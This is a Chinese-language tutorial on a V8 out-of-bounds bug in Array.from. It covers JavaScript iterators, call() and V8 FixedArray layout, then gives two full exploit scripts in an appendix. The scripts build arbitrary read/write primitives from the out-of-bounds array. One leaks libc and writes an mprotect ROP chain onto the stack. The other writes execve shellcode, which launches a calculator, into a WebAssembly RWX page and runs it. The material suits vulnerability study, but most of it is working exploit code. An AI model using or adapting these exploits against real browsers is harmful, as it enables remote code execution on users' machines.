这个漏洞来自v8对JS函数array.from的实现,开发者没有考虑到在array.from中也可以输入数组,所以造成了一个数组越界漏洞。一般来说数组越界的漏洞都比较好利用,不过写利用的时候遇到不少坑(可能因为我太菜了。
单说利用,有这几点需要思考。
- 1.需要考虑的是gc的回收的问题,何时回收,会对我们的内存结构有什么影响
- 2.为什么大量进行读取之后,原本控制的ArrayBuffer位置跑飞了,如何避免
- 3.除了对stack进行retn覆盖,有什么办法来触发ROP(思考一下stack povit可以吗)
JS基础
Symbol.iterator
ES6标准新增的迭代器,对象编写迭代器后可以使用for … of 这些语法来进行迭代。
Array数组中自带Symbol.iterator。
var a=[1,2,3,4,5]
console.log([...a]); //1,2,3,4,5
让我们编写一个迭代器
Demo
let obj={
0:'a',
1:'b',
2:'c',
length:3,
[Symbol.iterator]:function(){ //迭代器实现
let index=0;
let next=()=>{ //迭代器必须包含一个next函数
return{
value:this[index], //输出
done:this.length==++index //判断退出条件
}
}
return {next}
}
};
console.log(obj.length); // 3
console.log([...obj]); // a,b
for(let p of obj)
{
console.log(p); //a b
}
call()
call方法在js对象中可以用修改this对象,让我们写一个小实验。
Demo
var name='migraine1',age=18;
var obj={
name:'migraine2',
objAge:this.age,
myFun:function(){
console.log(this.name+" age "+this.age);
}
}
var db={
name:'migraine3',
age:81
}
obj.myFun(); //migraine2 age undefined
obj.myFun.call(db); //migraine3 age 81
第一次调用obj.myFun(),this的两个值得注意。funciton内的this并不是全局this,无法调用obj外部的age,所以this.age变成了undefined。而在function外部的objAge:this.age中的this则是全局的this。
第二次调用obj.myFun().call(db),this对象被修改为了db,于是输出了db的name和age,这就是call函数的作用。能够将this对象指向obj外的其他对象。
call也支持带参数的function,Demo如下
var obj={
name:'migraine2',
myFun:function(age){ //带参的function
console.log(this.name+" age "+age);
}
}
var db={
name:'migraine3'
}
obj.myFun.call(db,'18'); //migraine3 age 18
Array.from
Array.from()方法就是将一个类数组对象或者可遍历对象转换成一个真正的数组。
类数组对象需要满足基本要求是具有length属性。
Array.from(arrayLike[, mapFn[, thisArg]])
arrayLike:被转换的的对象。
mapFn:map函数。
thisArg:map函数中this指向的对象。
Demo
let oobArray = [];
console.log(Array.from([1,2,3,4],(n)=>n+1)); //2,3,4,5
console.log(Array.from.call(oobArray,[1,2,3,4],(n)=>n+1)); //2,3,4,5
从Demo可以看出,call并不影响Array.from函数的使用,修改this为oobArray对象。
在poc中,将this指向oobArray对象,然后将一个包含迭代器的类数组对象转化为数组。之后oobArray迭代输出来验证这个过程。(需要删除oobArray.length = 0;)
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ()...});
console.log(...oobArray);//0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16....
Array.from的Polyfill实现可以参考
v8基础
关于V8对象的基础可以看我整理的V8基础,在这部分补充一些与题目相关的v8内容。
FixedArray是v8中定义一类固定长度的数组类(src/object/fixed-array.h)也是在Object中最常见的一类数组,包括Elements和Property的数据都是存放在FixedArray中。
类之间的父子关系如下,箭头指向继承的结构,可以结合源代码消化
//继承关系
HeapObject-->FixedArrayBase-->FixedArray
| |
v v
map length
//数据结构
FixedArray
|__ map__|
|_length_|
| values |
| ... |
扩展阅读
ES6-Symbol.iterator 迭代器
JavaScript 中 call()、apply()、bind() 的用法
从一道CTF题零基础学V8漏洞利用
821137-V8引擎数组越界漏洞分析及利用
附录
使用libc泄露的exploit
适用情况:只能在Ubuntu16.04(glibc2.23)下成功exploit,其他版本需要调整
class ChangeType{
constructor(){
this.buf=new ArrayBuffer(8);
this.f64=new Float64Array(this.buf);
this.u32=new Uint32Array(this.buf);
}
f2i(val){
this.f64[0]=val;
return this.u32[1]*0x100000000+this.u32[0];
}
i2f(val){
this.u32[0]=parseInt(val%0x100000000);
this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
return this.f64[0];
}
}
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType();
let oobArray = [1.1]; //float
let arrays=[];
let objs=[]; //for leak
let maxSize = 1028 * 8; //8224
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0x512);
let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
objs.push(obj);
//%DebugPrint(array);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC
//find ArrayBuffer in the shot
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x51200000000)
{
backing_store=i+1;
kbitfield=backing_store+1;
console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0xbeaf00000000);
break;
}
}
for(let i=0;i<100;i++)
{
//console.log(arrays[i].bytelength);
if(arrays[i].byteLength===0xbeaf){
console.log("[*]find target ArrayBuffer number ["+i+"]");
buf_index=i;
let tmp=new Float64Array(arrays[buf_index],0,0x10);
tmp[0]=ct.i2f(0xdeadbeef);
break;
}
}
let obj_index;
let obj_offset;
//find Objects
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x123400000000)
{
obj_offset=i;
console.log("[*]find target objecets in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0x123500000000);
break;
}
}
for(let i=0;i<100;i++)
{
if(objs[i].a===0x1235){
console.log("[*]find target objs number ["+i+"]");
obj_index=i;
break;
}
}
class ArbitraryRW
{
leak_obj(obj){
objs[obj_index].a = obj;
return ct.f2i(oobArray[obj_offset]) - 1;
}
read(addr){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
//console.log(hex(addr));
//console.log(hex(ct.f2i(oobArray[backing_store])));
//console.log(hex(ct.f2i(oobArray[kbitfield])));
let tmp=new Float64Array(arrays[buf_index],0,0x10);
return ct.f2i(tmp[0]);
}
write(addr,value){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,0x10);
this.f64[0]=ct.i2f(value);
}
leak(){
return ct.f2i(oobArray[kbitfield]);
}
}
let wr=new ArbitraryRW();
let heap=wr.leak()-0x10;
console.log("[*]leak backing store address="+hex(heap));
chunk=heap;
let size=wr.read(chunk+8);
size=parseInt(size/8)*8;
let finded=0;
for(let i=0;i<0x5000;i++)
{
//let leak=wr.read(heap);
prev_size=wr.read(chunk);
size=wr.read(chunk+8);
if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0)
{
let tmp_ptr=chunk-prev_size;
fd=wr.read(tmp_ptr+0x10);
bk=wr.read(tmp_ptr+0x18);
console.log(hex(chunk)+"->"+hex(prev_size));
if(parseInt(fd/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(fd)");
finded=fd;
break;
}
if(parseInt(bk/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(bk)");
console.log(hex(bk));
break;
}
}
else if(size<0x20){break;}
size=parseInt(size/8)*8;
chunk+=size;
}
if(finded!==0)
{
libc_base=parseInt(finded/0x100)*0x100-0x3c3b00;
console.log("libc_base="+hex(libc_base));
}
else{
console.log("Error when leak libc base!Try Again.");
}
//PUSH SHELLCODE
let shellcode=new Uint8Array(4096);
let shellcode_addr=wr.leak_obj(shellcode);
ptr=wr.read(shellcode_addr+0x18)-1;
shellcode_addr=wr.read(ptr+0x20);
console.log(hex(shellcode_addr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
shellcode[i]=sc[i];
}
//ROP
let pop_rdi=0x21102+libc_base;
let pop_rsi=0x202e8+libc_base;
let pop_rdx=0x01b92+libc_base;
let retn=0xe9bbb+libc_base;
let mprotect=0x100eb0+libc_base;
let rop=[
pop_rdi,
parseInt(shellcode_addr/0x1000)*0x1000,
pop_rsi,
1024,
pop_rdx,
7,
mprotect,
shellcode_addr
]
//GET STACK_ADDR
let environ_addr=libc_base+0x3c5f98;
let stack_addr=wr.read(environ_addr);
console.log("[*]stack address "+hex(stack_addr));
let rop_addr=stack_addr-200*rop.length;
console.log("[*]rop address "+hex(rop_addr))
for(let i=0;i<rop.length;i++)
{
wr.write(rop_addr+i*8,rop[i]);
}
for(let i=1;i<10;i++)
{
wr.write(rop_addr-i*8,retn);
}
//malloc hook
/*
malloc_hook=0x3C3B10+libc_base;
one_gadget=0xf0897+libc_base;
wr.write(malloc_hook,one_gadget);
*/
//oobArray[oobArray.length - 1] = 0x41414141; //触发crash
通过Wasm写入shellcode
适用情况:任意版本的Linux
class ChangeType{
constructor(){
this.buf=new ArrayBuffer(8);
this.f64=new Float64Array(this.buf);
this.u32=new Uint32Array(this.buf);
}
f2i(val){
this.f64[0]=val;
return this.u32[1]*0x100000000+this.u32[0];
}
i2f(val){
this.u32[0]=parseInt(val%0x100000000);
this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
return this.f64[0];
}
}
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType();
let oobArray = [1.1]; //float
let arrays=[];
let objs=[]; //for leak
let maxSize = 1028 * 8; //8224
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0x512);
let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
objs.push(obj);
//%DebugPrint(array);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC
//find ArrayBuffer in the shot
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x51200000000)
{
backing_store=i+1;
kbitfield=backing_store+1;
console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0xbeaf00000000);
break;
}
}
for(let i=0;i<100;i++)
{
//console.log(arrays[i].bytelength);
if(arrays[i].byteLength===0xbeaf){
console.log("[*]find target ArrayBuffer number ["+i+"]");
buf_index=i;
let tmp=new Float64Array(arrays[buf_index],0,0x10);
tmp[0]=ct.i2f(0xdeadbeef);
break;
}
}
let obj_index;
let obj_offset;
//find Objects
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x123400000000)
{
obj_offset=i;
console.log("[*]find target objecets in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0x123500000000);
break;
}
}
for(let i=0;i<100;i++)
{
if(objs[i].a===0x1235){
console.log("[*]find target objs number ["+i+"]");
obj_index=i;
break;
}
}
class ArbitraryRW
{
leak_obj(obj){
objs[obj_index].a = obj;
return ct.f2i(oobArray[obj_offset]) - 1;
}
read(addr){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
//console.log(hex(addr));
//console.log(hex(ct.f2i(oobArray[backing_store])));
//console.log(hex(ct.f2i(oobArray[kbitfield])));
let tmp=new Float64Array(arrays[buf_index],0,0x10);
return ct.f2i(tmp[0]);
}
write(addr,value){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,0x10);
this.f64[0]=ct.i2f(value);
}
leak(){
return ct.f2i(oobArray[kbitfield]);
}
}
let wr=new ArbitraryRW();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;
%DebugPrint(f);
let asm_addr=wr.leak_obj(f);
console.log("[*]address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
wr.write(instanceAddr+i,sc[i]);
}
f();